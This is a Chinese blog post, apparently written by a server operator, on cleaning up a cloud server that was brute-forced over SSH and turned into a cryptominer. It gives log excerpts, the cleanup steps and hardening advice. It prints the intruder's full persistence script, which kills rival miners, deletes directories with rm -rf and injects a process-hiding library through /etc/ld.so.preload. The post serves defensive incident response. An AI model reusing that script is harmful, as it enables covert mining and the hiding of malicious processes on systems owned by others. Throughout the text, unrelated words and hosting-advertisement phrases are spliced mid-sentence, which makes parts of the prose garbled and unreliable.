服务器被入侵了！我们该怎么办？
大家好 ，服务我是器被坤哥安全问题往往被大家忽视 ，但它轻则导致公司用户数据泄露引发严重的入侵舆论危机 ，重则导致数据被破坏导致公司破产 ，服务所以安全问题一定要重视 ，器被不过这类问题一旦出现 ，入侵由于大家经验比较少 ，服务往往很难入手 ，器被今天就给大家带来一篇服务器被入侵的入侵排查思路 ，相信大家看了肯定有收获 ！服务
下文中的器被 ，给文件和目录加锁 ，入侵是源码库服务指给文件和目录增加了一些属性 ，只读等 。器被chattr +ia
一 、入侵服务器入侵现象
近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵 ，具体现象是 ：服务器 CPU 资源长期 100%，负载较高 。服务器上面的服务不能正常提供服务 。
朋友处理了一会没有解决 ，我开始想说我不是搞安全的 ，我怎么会，但朋友开出了天价，源码下载一顿海底捞 ，我在生活和现实面前低头了 。开始上手看看了 。
二 、服务器排查和处理
2.1 、服务器被入侵的可能原因
服务器ssh 密码 设置得很简单 。腾讯云安全组范围放得很大 。使用了宝塔，宝塔面板的密码也是很简单的密码(应该不是这个入侵入口) 。2.2 、排查和处理步骤
ps -ef /top 找出占用进程最大的建站模板服务问题现象ps/top 命令 已经被替换了。
secure
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720ssh2
Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534ssh2
Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548ssh2
Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690ssh2
Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl81.2.3.4.5.6.7.8.9.lighthouse 腾讯云轻量服务器
我们在这里就可以看到 ，有一些境外IP 34.215.138.2 成功登录了 ，这些 IP不是我们的正常登录 。在 /var/log/secure 日志里 ，我看到了 IP 34.215.138.2 尝试登录不到 500 次 就已经破解成功了 。
处理措施这里我们立马采取了第一个措施，
在腾讯云安全组限制了 SSH 的登录IP ， 之前的安全组 SSH 是放行所有IP 。香港云服务器将 SSH ROOT 密码修改 。/root/.ssh/authorized_keys 备份 ，并清空 。 复制[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bakcp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied1.2.这时我们就遇到了权限的问题 ，这个晚点展开讲，因为我们已经限制了源IP ， 所以这个我们可以晚点来处理。
查看最近新增的一些用户问题现象cat /etc/passwd
锁定用户
复制[root@VM-12-12-centos ~]# usermod -L sys11. 我这里不计划去找进程（已经在新建一台版本一致的系统 ， 来拷贝top 和ps 命令 ，需要一小会 ，我们趁这个时间 ，先看看其他），因为之前朋友重启过服务器 ，服务器租用发现服务器启动过一会才会负载较高 。我认为入侵者应该放了一些定时任务和启动脚本里面 。问题现象定时任务
crond 读取配置文件会从以下几个路径读取 ：
/var/spool/cron/ , 由crontab -e 进行写入 ，配置文件无需指定用户/etc/crontab ，只能root 进行编辑 ，配置文件需指定用户/etc/cron.d/ ,在此文件夹下创建定时任务文件 ，配置文件需指定用户/etc/cron.*/var/spool/cron/ 未找到(后面会说到这里有障眼法)
/etc/crontab 未找到(后面会说到这里有障眼法)
但是我在 /var/log/cron 一直看到有任务执行。每间隔 5 分钟 。
复制Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )1.2.3.4.5.6. 处理措施这里我们先做的操作就是 ，先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除 。删除的时候还是提示没有权限 。模板下载我们知道这些文件应该是加琐了 ，所以我开始解锁 ，我们发现 chattr 也被替换和锁住了 。所以不能操作下去了 。
开机启动脚本
/etc/rc.local ， 我们也发现了一个脚本 。
复制[root@VM-12-12-centos ~]# cat /etc/rc.local#!/bin/bash
# THIS FILE ISADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services orudev rules
# to run scripts during boot instead of using this file.
#
# Incontrast to previous versions due to parallel execution during boot
# this script will NOTbe run after all other services.
#
# Please note that you must run chmod +x /etc/rc.d/rc.localto ensure
# that this script will be executed during boot.
/usr/bin/0f4f80f9ab start1.2.3.4.5.6.7.8.9.10.11.12.13.14.但是这个文件好像不存在的 ，我们就把这个给注释了 。
还原更改了top 、ps 、chattr 、lsattr.首先我们从相同版本的机器拷贝了chattr 、lsattr ， 我们得先操作这个 ， 因为我们的top 和ps 都被锁住了。
我将文件上传至/tmp 目录 ，然后增加可执行权限 ，然后先给/usr/bin/chattr 解除锁定 。
复制/tmp/chattr -ai /usr/bin/chattr1.执行完之后 ，发现还是不能替换/usr/bin/chattr 。最后耗费了一段时间才反应到 ，入侵者可能不仅仅加锁了文件还加锁了/usr/bin/ 。
解锁目录
复制/tmp/chattr -ai /usr/bin/1.这下才能把/usr/bin/chattr 给替换掉 。
接下来参考这些 ，我们把top 和ps 、lsattr 给还原了 。
部分截图
三 、本次入侵需要带来启示的点
ps 、top 、chattr 、lsattr在这些命令被替换了 ，并且我们想还原又还原不了的场景 ，我们可以拷贝同版本的机器相同的命令放在其它目录，用这些命令来解除入侵者将它已经替换并锁定了文件 。注意有些入侵者不仅会在文件层面加锁，还会在当前的文件的目录这一层加锁 。我之前在这个上面困惑了一段时间 。
文件内容隐藏上文中，我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件 。发现文件没有内容 。
其实不知道使用了什么特殊字符还是什么隐藏了 ， 其实是存在定时任务的 。
示例 ：
这个配置是如何导致 cat/more 看不了的, 今天再次看了下，这个文件可能是被当成了数据文件 ，因为我把这个文件 file 查看了之后 ，文件属性是 data. 然后文件包含的特殊字符 。导致隐藏了，具体的有知道的大佬可以告知下 。
其中一个脚本 。 复制[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464#!/bin/sh
while test 1 = 1do
sleep 30pkill -f main
killall main
killall sprshduerjsaia
pkill -f sprshduerjsaia
killall dr64
pkill -f dr64
killall .report_systempkill -f .report_systemkillall sshc
pkill -f sshc
pkill -f memory
killall memory
killall warmup
killall koko
killall kthreaddk
killall systemc
killall cront
killall xm64_linux
killall /var/tmp/j/./intelshell
pkill -f dos32
pkill -f dos64
pkill -f .namepkill -f /usr/sbin/dbus
pkill -f systemd-boot-check-no-failures
killall .report_systempkill -f .report_systempkill -f keep-alive
pkill -f linu
pkill -f zapppp
killall [scan]killall [ext4]pkill -f xm64_linux
pkill -f ddrirc
killall ./-bash
pkill -f ./-bash
killall kworkers
killall dbus
pkill -f biden1
pkill -f cpuminer-sse2
killall work64
pkill -f work64
killall work32
pkill -f work32
killall aarch12
pkill -f aarch12
killall bash1
pkill -f bash1
killall intelshell
pkill -f intelshell
killall heaven
pkill -f heaven
killall .syst3mdpkill -f .syst3mdpkill -f apachelogs
killall .meinkampfpkill -f .meinkampfkillall xri
pkill -f xri
killall koko
pkill -f koko
killall work32-deamon
pkill -f work32-deamon
killall work64 -deamon
pkill -f work64 -deamon
killall secure.shpkill -f secure.shkkillall auth.shpkill -f auth.shkillall autoupdate
pkill -f kworkers
pkill -f autoupdate
killall ld-linux
pkill -f ld-linux
pkill -9Donald
killall -9Donald
pkill -f /usr/local/bin/pnscan
pkill -f /usr/bin/biden1
killall /usr/bin/biden1
killall r
killall trace
pkill -f minerd
killall minerd
pkill -f xm64
killall xm64
pkill -f sysdm
killall sysdm
pkill -f syst3md
killall syst3md
pkill -f xrig
killall xrig
pkill -f busybox
killall busybox
pkill -f joseph
killall joseph
pkill -f osama
killall osama
killall daemon
pkill -f obama1
killall obama1
pkill -f kswapd0
killall kswapd0
pkill -f jehgms
killall jehgms
pkill -f tsm
killall tsm
pkill -f rig
killall rig
pkill -f xmr
killall xmr
pkill -f playstation
killall playstation
pkill -f ld-linux-x86-64killall ld-linux-x86-64pkill -f ruckusapd
killall ruckusapd
pkill -f run64
killall run64
pkill -f pwnrig
killall pwnrig
pkill -f phpupdate
killall phpupdate
pkill -f sysupdate
killall sysupdate
pkill -f phpguard
killall phpguard
pkill -f firstpress
killall firstpress
pkill -f zerocert
killall zerocert
pkill -f masscan
killall masscan
pkill -f -bash
pkill -f spreadQlmnop
killall spreadQlmnop
killall -bash
pkill -f cnrig
killall cnrig
pkill -f netvhost
killall netvhost
pkill -f kthreadds
killall kthreadds
pkill -f kthreadd
killall kthreadd
pkill -f kdevtmpfsi
killall kdevtmpfsi
pkill -f linuxservice
killall linuxservice
pkill -f rtmonitor
killall rtmonitor
pkill -f dev
killall dev
pkill -f xmrig
killall xmrig
pkill -f master
killall master
killall sysmd
pkill -f sysmd
pkill -f sendmail
killall sendmail
pkill -f ld-musl-x86_64.
killall ld-musl-x86_64.
killall watchdog
pkill -f watchdog
pkill -f 32678killall 32678killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xredis
pkill -f xredis
killall Linux2.6killall .chornydpkill -f .chornydkillall Opera
pkill -f Opera
killall libertyd
pkill -f libertyd
killall rcubind
pkill -f rcubind
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall bioser
pkill -f bioser
rm -rf /root/.configrc/rm -rf /tmp/.X26-unix/rm -rf /tmp/.bash/rm -rf /root/.bash/rm -rf /root/.cache/rm -rf /tmp/.cache/rm -rf /dev/shm/.ssh/rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txtrm -rf /var/tmp/.update/rm -rf /var/tmp/.systemd/rm -rf /usr/sbin/.bash./.bash/rm -rf /etc/master
rm -rf /usr/bin/busybox
rm -rf /bin/sysmd
rm -rf /tmp/.mx/rm -rf /dev/shm/.mx/rm -rf /usr/bin/xrig
rm -rf /etc/32678rm -rf /root/c3pool/rm -rf /usr/bin/.sshd/rm -rf /tmp/div
systemctl stop c3pool_miner.servicesystemctl stop pwnriglhttps.servicesystemctl stop cryto
systemctl stop scan
systemctl stop bot
systemctl stop myservice.servicesystemctl stop netns.servicesystemctl stop cryptsetup.serviceecho /usr/local/lib/libprocesshider.so > /etc/ld.so.preloadlockr +ai /etc/ld.so.preload >/dev/null 2>&1chmod 777 /usr/lib/mysql/*/usr/lib/mysql/./mysqldone1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.88.89.90.91.92.93.94.95.96.97.98.99.100.101.102.103.104.105.106.107.108.109.110.111.112.113.114.115.116.117.118.119.120.121.122.123.124.125.126.127.128.129.130.131.132.133.134.135.136.137.138.139.140.141.142.143.144.145.146.147.148.149.150.151.152.153.154.155.156.157.158.159.160.161.162.163.164.165.166.167.168.169.170.171.172.173.174.175.176.177.178.179.180.181.182.183.184.185.186.187.188.189.190.191.192.193.194.195.196.197.198.199.200.201.202.203.204.205.206.207.208.209.210.211.212.213.214.215.216.217.218.219.220.221.222.223.224.225.226.227.228.229.我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload 的内容 。并且在关闭一些扫描软件和系统的服务 。
在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容 ，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库 ，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载 ，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高 ，所以能够提前于用户调用的动态库载入 。
——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》
我已经删除了 /usr/local/lib/libprocesshider.so 文件，之后每次执行命令会有这个报错 。
我在清空文件 /etc/ld.so.preload 之后 ，我发现好了一会后 ，还是出现这个 ，我再看 /etc/ld.so.preload 文件 ，里面又写了 /usr/local/lib/libprocesshider.so ，我怀疑还有定时任务，但是我找了一会定时任务 ，还是没有找到 。后面在查看异常进程的时候 ，我看到了这个进程
发现这个脚本的就是一直在循环执行上面内容 。将这个进程 kill 后 ，然后删除脚本 。
四 、本次服务器被入侵的一些启示
用好云厂家的安全组。对一些关键端口 ，放行规则尽量最小/服务器相关的一些密码尽量增加复杂性 。增加对一些关键文件的监控. (通过监控软件监控 md5 值) 复制- /etc/passwd
- /etc/shadow
- /etc/group - /root/.bash_history - /root/.ssh/authorized_keys
- /etc/ssh/sshd_config
- /etc/profile
- /var/spool/cron/root
- /etc/crontab
- /etc/ld.so.preload - /etc/rc.local -lsof
-ps
-netstat
-top
-ls
-pstree
-last
-history
-sudo
-password
-`chattr`
- `lsattr`1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.服务器被入侵 ，最好怎么处理？
https://cloud.tencent.com/document/product/296/9604
https://help.aliyun.com/document_detail/40994.htm
服务器如果有开放 SSH 远程登录 ，可以设置限制登录(安全组 、或者服务)，只放行自己的IP. 查找详细的入侵痕迹last 或者grep Accepted /var/log/secure/root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下 。将一些新建的用户锁定 。
服务器如果可以关闭外网，就关闭外网 。在安全组层面设置下 ，或者路由或者 NAT 。首先看下 ps/top 命令有没有被篡改 ， 如果有的话 ， 从其他正常的机器上拷贝至服务器上 。然后执行查看异常进程 。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话 ，记得清空里面的内容 ，然后将对应的文件删除或者重命名 。如果使用过程中遇到了文件不可删 ，不可改的问题 ，需要使用 chattr -ia 文件名 如果 chattr 也被串改 ，那就需要从别的机器拷贝 。然后复原 。
如果上述没有找到，可以通过 netstat 间接查看异常的连接从而查询异常进程 。检查开机启动 和 crontab 相关的内容 。检查异常进程 。